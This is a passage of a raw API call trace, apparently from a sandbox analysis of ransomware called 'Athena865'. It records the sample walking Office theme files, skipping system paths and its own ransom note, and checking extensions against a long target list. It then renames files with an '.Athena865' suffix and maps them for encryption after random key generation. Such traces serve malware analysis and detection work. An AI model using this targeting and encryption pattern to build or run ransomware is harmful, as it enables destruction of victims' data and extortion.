lstrcmpiW (lpString1="hmx", lpString2="nv2") returned -1 [0066.112] lstrlenW (lpString="nwdb") returned 4 [0066.112] lstrcmpiW (lpString1="thmx", lpString2="nwdb") returned 1 [0066.112] lstrlenW (lpString="nyf") returned 3 [0066.112] lstrcmpiW (lpString1="hmx", lpString2="nyf") returned -1 [0066.112] lstrlenW (lpString="odb") returned 3 [0066.112] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0066.112] lstrlenW (lpString="odb") returned 3 [0066.112] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0066.112] lstrlenW (lpString="oqy") returned 3 [0066.112] lstrcmpiW (lpString1="hmx", lpString2="oqy") returned -1 [0066.112] lstrlenW (lpString="ora") returned 3 [0066.112] lstrcmpiW (lpString1="hmx", lpString2="ora") returned -1 [0066.112] lstrlenW (lpString="orx") returned 3 [0066.112] lstrcmpiW (lpString1="hmx", lpString2="orx") returned -1 [0066.112] lstrlenW (lpString="owc") returned 3 [0066.112] lstrcmpiW (lpString1="hmx", lpString2="owc") returned -1 [0066.112] lstrlenW (lpString="p96") returned 3 [0066.112] lstrcmpiW (lpString1="hmx", lpString2="p96") returned -1 [0066.112] lstrlenW (lpString="p97") returned 3 [0066.113] lstrcmpiW (lpString1="hmx", lpString2="p97") returned -1 [0066.113] lstrlenW (lpString="pan") returned 3 [0066.113] lstrcmpiW (lpString1="hmx", lpString2="pan") returned -1 [0066.113] lstrlenW (lpString="pdb") returned 3 [0066.113] lstrcmpiW (lpString1="hmx", lpString2="pdb") returned -1 [0066.113] lstrlenW (lpString="pdm") returned 3 [0066.113] lstrcmpiW (lpString1="hmx", lpString2="pdm") returned -1 [0066.113] lstrlenW (lpString="pnz") returned 3 [0066.113] lstrcmpiW (lpString1="hmx", lpString2="pnz") returned -1 [0066.113] lstrlenW (lpString="qry") returned 3 [0066.113] lstrcmpiW (lpString1="hmx", lpString2="qry") returned -1 [0066.113] lstrlenW (lpString="qvd") returned 3 [0066.113] lstrcmpiW (lpString1="hmx", lpString2="qvd") returned -1 [0066.113] lstrlenW (lpString="rbf") returned 3 [0066.113] lstrcmpiW (lpString1="hmx", lpString2="rbf") returned -1 [0066.113] lstrlenW (lpString="rctd") returned 4 [0066.113] lstrcmpiW (lpString1="thmx", lpString2="rctd") returned 1 [0066.113] lstrlenW (lpString="rod") returned 3 [0066.113] lstrcmpiW (lpString1="hmx", lpString2="rod") returned -1 [0066.113] lstrlenW (lpString="rodx") returned 4 [0066.113] lstrcmpiW (lpString1="thmx", lpString2="rodx") returned 1 [0066.113] lstrlenW (lpString="rpd") returned 3 [0066.113] lstrcmpiW (lpString1="hmx", lpString2="rpd") returned -1 [0066.113] lstrlenW (lpString="rsd") returned 3 [0066.113] lstrcmpiW (lpString1="hmx", lpString2="rsd") returned -1 [0066.113] lstrlenW (lpString="sas7bdat") returned 8 [0066.113] lstrcmpiW (lpString1="rek.thmx", lpString2="sas7bdat") returned -1 [0066.113] lstrlenW (lpString="sbf") returned 3 [0066.113] lstrcmpiW (lpString1="hmx", lpString2="sbf") returned -1 [0066.113] lstrlenW (lpString="scx") returned 3 [0066.113] lstrcmpiW (lpString1="hmx", lpString2="scx") returned -1 [0066.113] lstrlenW (lpString="sdb") returned 3 [0066.113] lstrcmpiW (lpString1="hmx", lpString2="sdb") returned -1 [0066.113] lstrlenW (lpString="sdc") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="sdc") returned -1 [0066.114] lstrlenW (lpString="sdf") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="sdf") returned -1 [0066.114] lstrlenW (lpString="sis") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="sis") returned -1 [0066.114] lstrlenW (lpString="spq") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="spq") returned -1 [0066.114] lstrlenW (lpString="te") returned 2 [0066.114] lstrcmpiW (lpString1="mx", lpString2="te") returned -1 [0066.114] lstrlenW (lpString="teacher") returned 7 [0066.114] lstrcmpiW (lpString1="ek.thmx", lpString2="teacher") returned -1 [0066.114] lstrlenW (lpString="tmd") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="tmd") returned -1 [0066.114] lstrlenW (lpString="tps") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="tps") returned -1 [0066.114] lstrlenW (lpString="trc") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0066.114] lstrlenW (lpString="trc") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0066.114] lstrlenW (lpString="trm") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="trm") returned -1 [0066.114] lstrlenW (lpString="udb") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="udb") returned -1 [0066.114] lstrlenW (lpString="udl") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="udl") returned -1 [0066.114] lstrlenW (lpString="usr") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="usr") returned -1 [0066.114] lstrlenW (lpString="v12") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="v12") returned -1 [0066.114] lstrlenW (lpString="vis") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="vis") returned -1 [0066.114] lstrlenW (lpString="vpd") returned 3 [0066.114] lstrcmpiW (lpString1="hmx", lpString2="vpd") returned -1 [0066.114] lstrlenW (lpString="vvv") returned 3 [0066.115] lstrcmpiW (lpString1="hmx", lpString2="vvv") returned -1 [0066.115] lstrlenW (lpString="wdb") returned 3 [0066.115] lstrcmpiW (lpString1="hmx", lpString2="wdb") returned -1 [0066.115] lstrlenW (lpString="wmdb") returned 4 [0066.115] lstrcmpiW (lpString1="thmx", lpString2="wmdb") returned -1 [0066.115] lstrlenW (lpString="wrk") returned 3 [0066.115] lstrcmpiW (lpString1="hmx", lpString2="wrk") returned -1 [0066.115] lstrlenW (lpString="xdb") returned 3 [0066.115] lstrcmpiW (lpString1="hmx", lpString2="xdb") returned -1 [0066.115] lstrlenW (lpString="xld") returned 3 [0066.115] lstrcmpiW (lpString1="hmx", lpString2="xld") returned -1 [0066.115] lstrlenW (lpString="xmlff") returned 5 [0066.115] lstrcmpiW (lpString1=".thmx", lpString2="xmlff") returned -1 [0066.115] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx.Athena865") returned 72 [0066.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx.athena865"), dwFlags=0x1) returned 1 [0066.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0066.116] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=172604) returned 1 [0066.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0066.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.117] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.117] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.117] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.118] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a540, lpName=0x0) returned 0x154 [0066.119] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a540) returned 0x170000 [0066.128] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.128] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.128] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0066.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0066.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0066.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0066.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0066.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0066.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0066.129] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0066.131] CloseHandle (hObject=0x154) returned 1 [0066.131] CloseHandle (hObject=0x17c) returned 1 [0066.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0066.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0066.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0066.134] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36de5100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xfc70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Urban.thmx", cAlternateFileName="URBAN~1.THM")) returned 1 [0066.134] lstrcmpiW (lpString1="Urban.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0066.134] lstrcmpiW (lpString1="Urban.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0066.134] lstrcmpiW (lpString1="Urban.thmx", lpString2=".") returned 1 [0066.134] lstrcmpiW (lpString1="Urban.thmx", lpString2="..") returned 1 [0066.134] lstrcmpiW (lpString1="Urban.thmx", lpString2="windows") returned -1 [0066.134] lstrcmpiW (lpString1="Urban.thmx", lpString2="bootmgr") returned 1 [0066.134] lstrcmpiW (lpString1="Urban.thmx", lpString2="temp") returned 1 [0066.134] lstrcmpiW (lpString1="Urban.thmx", lpString2="pagefile.sys") returned 1 [0066.134] lstrcmpiW (lpString1="Urban.thmx", lpString2="boot") returned 1 [0066.134] lstrcmpiW (lpString1="Urban.thmx", lpString2="ids.txt") returned 1 [0066.134] lstrcmpiW (lpString1="Urban.thmx", lpString2="ntuser.dat") returned 1 [0066.134] lstrcmpiW (lpString1="Urban.thmx", lpString2="perflogs") returned 1 [0066.134] lstrcmpiW (lpString1="Urban.thmx", lpString2="MSBuild") returned 1 [0066.134] lstrlenW (lpString="Urban.thmx") returned 10 [0066.134] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Urban.thmx" | out: lpString1="Urban.thmx") returned="Urban.thmx" [0066.134] lstrlenW (lpString="Urban.thmx") returned 10 [0066.134] lstrlenW (lpString="Athena865") returned 9 [0066.135] lstrcmpiW (lpString1="rban.thmx", lpString2="Athena865") returned 1 [0066.135] lstrlenW (lpString=".dll") returned 4 [0066.135] lstrcmpiW (lpString1="Urban.thmx", lpString2=".dll") returned 1 [0066.135] lstrlenW (lpString=".lnk") returned 4 [0066.135] lstrcmpiW (lpString1="Urban.thmx", lpString2=".lnk") returned 1 [0066.135] lstrlenW (lpString=".ini") returned 4 [0066.135] lstrcmpiW (lpString1="Urban.thmx", lpString2=".ini") returned 1 [0066.135] lstrlenW (lpString=".sys") returned 4 [0066.135] lstrcmpiW (lpString1="Urban.thmx", lpString2=".sys") returned 1 [0066.135] lstrlenW (lpString="Urban.thmx") returned 10 [0066.135] lstrlenW (lpString="bak") returned 3 [0066.135] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0066.135] lstrlenW (lpString="ba_") returned 3 [0066.135] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0066.135] lstrlenW (lpString="dbb") returned 3 [0066.135] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0066.135] lstrlenW (lpString="vmdk") returned 4 [0066.135] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0066.135] lstrlenW (lpString="rar") returned 3 [0066.135] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0066.135] lstrlenW (lpString="zip") returned 3 [0066.135] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0066.136] lstrlenW (lpString="tgz") returned 3 [0066.136] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0066.136] lstrlenW (lpString="vbox") returned 4 [0066.136] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0066.136] lstrlenW (lpString="vdi") returned 3 [0066.136] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0066.136] lstrlenW (lpString="vhd") returned 3 [0066.136] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0066.136] lstrlenW (lpString="vhdx") returned 4 [0066.136] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0066.136] lstrlenW (lpString="avhd") returned 4 [0066.136] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0066.136] lstrlenW (lpString="db") returned 2 [0066.136] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0066.136] lstrlenW (lpString="db2") returned 3 [0066.136] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0066.136] lstrlenW (lpString="db3") returned 3 [0066.136] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0066.136] lstrlenW (lpString="dbf") returned 3 [0066.136] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0066.136] lstrlenW (lpString="mdf") returned 3 [0066.136] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0066.136] lstrlenW (lpString="mdb") returned 3 [0066.136] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0066.136] lstrlenW (lpString="sql") returned 3 [0066.136] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0066.136] lstrlenW (lpString="sqlite") returned 6 [0066.136] lstrcmpiW (lpString1="n.thmx", lpString2="sqlite") returned -1 [0066.136] lstrlenW (lpString="sqlite3") returned 7 [0066.136] lstrcmpiW (lpString1="an.thmx", lpString2="sqlite3") returned -1 [0066.136] lstrlenW (lpString="sqlitedb") returned 8 [0066.136] lstrcmpiW (lpString1="ban.thmx", lpString2="sqlitedb") returned -1 [0066.136] lstrlenW (lpString="xml") returned 3 [0066.137] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0066.137] lstrlenW (lpString="$er") returned 3 [0066.137] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0066.137] lstrlenW (lpString="4dd") returned 3 [0066.137] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0066.137] lstrlenW (lpString="4dl") returned 3 [0066.137] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0066.137] lstrlenW (lpString="^^^") returned 3 [0066.137] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0066.137] lstrlenW (lpString="abs") returned 3 [0066.137] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0066.137] lstrlenW (lpString="abx") returned 3 [0066.137] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0066.137] lstrlenW (lpString="accdb") returned 5 [0066.137] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0066.137] lstrlenW (lpString="accdc") returned 5 [0066.137] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0066.137] lstrlenW (lpString="accde") returned 5 [0066.137] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0066.137] lstrlenW (lpString="accdr") returned 5 [0066.137] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0066.137] lstrlenW (lpString="accdt") returned 5 [0066.137] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0066.137] lstrlenW (lpString="accdw") returned 5 [0066.137] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0066.137] lstrlenW (lpString="accft") returned 5 [0066.137] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0066.137] lstrlenW (lpString="adb") returned 3 [0066.137] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0066.137] lstrlenW (lpString="adb") returned 3 [0066.137] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0066.137] lstrlenW (lpString="ade") returned 3 [0066.137] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0066.137] lstrlenW (lpString="adf") returned 3 [0066.138] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0066.138] lstrlenW (lpString="adn") returned 3 [0066.138] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0066.138] lstrlenW (lpString="adp") returned 3 [0066.138] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0066.138] lstrlenW (lpString="alf") returned 3 [0066.138] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0066.138] lstrlenW (lpString="ask") returned 3 [0066.138] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0066.138] lstrlenW (lpString="btr") returned 3 [0066.138] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0066.138] lstrlenW (lpString="cat") returned 3 [0066.138] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0066.138] lstrlenW (lpString="cdb") returned 3 [0066.138] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0066.138] lstrlenW (lpString="ckp") returned 3 [0066.138] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0066.138] lstrlenW (lpString="cma") returned 3 [0066.138] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0066.138] lstrlenW (lpString="cpd") returned 3 [0066.138] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0066.138] lstrlenW (lpString="dacpac") returned 6 [0066.138] lstrcmpiW (lpString1="n.thmx", lpString2="dacpac") returned 1 [0066.138] lstrlenW (lpString="dad") returned 3 [0066.138] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0066.138] lstrlenW (lpString="dadiagrams") returned 10 [0066.138] lstrlenW (lpString="daschema") returned 8 [0066.138] lstrcmpiW (lpString1="ban.thmx", lpString2="daschema") returned -1 [0066.138] lstrlenW (lpString="db-journal") returned 10 [0066.138] lstrlenW (lpString="db-shm") returned 6 [0066.138] lstrcmpiW (lpString1="n.thmx", lpString2="db-shm") returned 1 [0066.138] lstrlenW (lpString="db-wal") returned 6 [0066.139] lstrcmpiW (lpString1="n.thmx", lpString2="db-wal") returned 1 [0066.139] lstrlenW (lpString="dbc") returned 3 [0066.139] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0066.139] lstrlenW (lpString="dbs") returned 3 [0066.139] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0066.139] lstrlenW (lpString="dbt") returned 3 [0066.139] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0066.139] lstrlenW (lpString="dbv") returned 3 [0066.139] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0066.139] lstrlenW (lpString="dbx") returned 3 [0066.139] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0066.139] lstrlenW (lpString="dcb") returned 3 [0066.139] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0066.139] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0066.139] lstrcmpiW (lpString1="hmx", lpString2="dcx") returned 1 [0066.139] lstrcmpiW (lpString1="hmx", lpString2="ddl") returned 1 [0066.139] lstrcmpiW (lpString1="thmx", lpString2="dlis") returned 1 [0066.139] lstrcmpiW (lpString1="hmx", lpString2="dp1") returned 1 [0066.139] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx.Athena865") returned 73 [0066.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx.athena865"), dwFlags=0x1) returned 1 [0066.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0066.141] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=64624) returned 1 [0066.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0066.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.141] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.142] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.142] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.142] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xff70, lpName=0x0) returned 0x154 [0066.144] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xff70) returned 0x100000 [0066.147] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.148] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.148] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0066.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0066.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0066.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0066.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0066.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0066.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0066.148] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0066.149] CloseHandle (hObject=0x154) returned 1 [0066.149] CloseHandle (hObject=0x17c) returned 1 [0066.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0066.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0066.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0066.149] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a71d800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3a71d800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Verve.thmx", cAlternateFileName="VERVE~1.THM")) returned 1 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2=".") returned 1 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2="..") returned 1 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2="windows") returned -1 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2="bootmgr") returned 1 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2="temp") returned 1 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2="pagefile.sys") returned 1 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2="boot") returned 1 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2="ids.txt") returned 1 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2="ntuser.dat") returned 1 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2="perflogs") returned 1 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2="MSBuild") returned 1 [0066.150] lstrlenW (lpString="Verve.thmx") returned 10 [0066.150] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Verve.thmx" | out: lpString1="Verve.thmx") returned="Verve.thmx" [0066.150] lstrlenW (lpString="Verve.thmx") returned 10 [0066.150] lstrlenW (lpString="Athena865") returned 9 [0066.150] lstrcmpiW (lpString1="erve.thmx", lpString2="Athena865") returned 1 [0066.150] lstrlenW (lpString=".dll") returned 4 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2=".dll") returned 1 [0066.150] lstrlenW (lpString=".lnk") returned 4 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2=".lnk") returned 1 [0066.150] lstrlenW (lpString=".ini") returned 4 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2=".ini") returned 1 [0066.150] lstrlenW (lpString=".sys") returned 4 [0066.150] lstrcmpiW (lpString1="Verve.thmx", lpString2=".sys") returned 1 [0066.150] lstrlenW (lpString="Verve.thmx") returned 10 [0066.150] lstrlenW (lpString="bak") returned 3 [0066.150] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0066.150] lstrlenW (lpString="ba_") returned 3 [0066.150] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0066.150] lstrlenW (lpString="dbb") returned 3 [0066.151] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0066.151] lstrlenW (lpString="vmdk") returned 4 [0066.151] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0066.151] lstrlenW (lpString="rar") returned 3 [0066.151] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0066.151] lstrlenW (lpString="zip") returned 3 [0066.151] lstrcmpiW 